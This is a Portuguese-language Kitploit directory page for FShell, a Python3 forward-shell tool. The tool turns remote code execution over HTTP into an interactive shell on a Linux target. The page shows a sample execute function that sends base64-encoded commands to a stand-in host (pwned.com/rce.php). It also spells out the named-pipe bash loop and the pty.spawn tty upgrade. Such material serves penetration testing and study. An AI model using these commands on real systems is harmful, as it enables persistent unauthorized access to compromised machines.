Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
FShell — Minha implementação em python3 de um Forward Shell | Kitploit
Ferramentas/GitHubGitHub/hypnoze57/fshell
ExploraçãoPós-ExploraçãoTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubhypnoze57/fshell

FShell

Minha implementação em python3 de um Forward Shell

Ver Repositório
38518há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

FShell

Descrição

FShell é a minha implementação de um Forward Shell. Foi projetado para obter um tty interativo usando execução remota de código através de um protocolo sem estado (ex: HTTP).

Por que devo usar um forward shell?

  • O servidor remoto não consegue acessar a internet, sem possibilidade de reverse shell
  • Eu não quero que o servidor inicie novas conexões de saída ou exponha um novo serviço (apenas usar o serviço vulnerável exposto)

No entanto, também tem desvantagens

  • Muitas requisições por segundo (no caso de um servidor web, isso vai gerar muitos logs de acesso)
  • Não é totalmente interativo: sem auto-completar (isso teoricamente poderia ser implementado, mas geraria uma quantidade enorme de requisições), lembre-se de que sua entrada é enviada para o script python e depois para o servidor remoto.

A frequência das requisições pode ser alterada modificando a variável BEACONING_DELAY.

Requisitos

Na máquina do atacante

Python3 e bibliotecas:

  • requests
  • termcolor

No alvo

Apenas Linux é suportado neste momento e são necessários comandos/ferramentas básicas no sistema remoto:

  • python2 (e módulo pty)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

Uso

Modifique a variável WRITABLE_FOLDER se /tmp não estiver disponível para escrita ou se você tiver algo melhor (prefira /dev/shm)

Você deve redefinir a função execute para realizar sua execução remota de código:

def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Comando shell bruto para executar no sistema remoto
    :timetout OBRIGATÓRIO: Usado para matar o loop de execução bloqueante (usado na criação do named pipe).
              Se não puder, coloque a criação do named pipe em uma thread separada
    :verbose  Imprime o comando completo executado no sistema remoto (modo Debug)
    """
    # Coloque seu código de RCE aqui
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # Você pode aplicar formatação se a saída não for apenas a saída do comando

Comandos

  • help_shell: Imprime a ajuda dos comandos
  • get_sessid: Imprime o id da sessão atual no servidor remoto
  • upgrade_shell: Inicia um pty remoto usando python para criar um shell interativo
  • exit_shell: Encerra o shell remoto 'adequadamente'. Se você estiver conectado com outro usuário que não o primeiro, saia normalmente antes.

Demonstração

Demonstração do FShell

Como funciona

Os conceitos são bem simples.

Primeiro você precisa criar um named pipe no sistema remoto. Ele será usado para enviar comandos para o shell
mkfifo /tmp/input.

Depois, crie um loop bash que lê o named pipe constantemente e o envia para um processo bash interativo que envia stdin e stderr para um arquivo de saída.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[Lendo o named pipe] -> [Executa o conteúdo do named pipe] -> [Envia stdin/stderr para o arquivo de saída] -> [Volta a ler o named pipe por causa da opção '-f' do tail]

A próxima parte é iniciar uma thread python que executa cat /tmp/output regularmente para obter a saída do shell.
Se a thread encontrar dados, ela limpará o conteúdo do arquivo de saída usando echo '' > /tmp/output
Dica: Para evitar erros de log por causa de um arquivo inexistente, o script executa o comando 'id' antes de iniciar a thread 'GetOutput' para criar o arquivo de saída.

Uma das últimas etapas é obter a entrada do usuário no nosso script python e enviá-la para o named pipe
echo USERCMD > /tmp/input

E o último truque para obter um tty interativo remoto é o comando 'upgrade_shell'. Esse comando executa um python -c 'import pty;pty.spawn("/bin/bash")' (e alguns exports e aliases) para gerar um tty real para o processo atual (usado no loop do named pipe)

Agradecimentos

Agradecimentos ao @ippsec, eu não sabia que algo assim era possível antes de assistir estes vídeos Stratosphere HTB Write Up !

Espero que você aproveite!

Baixar ferramenta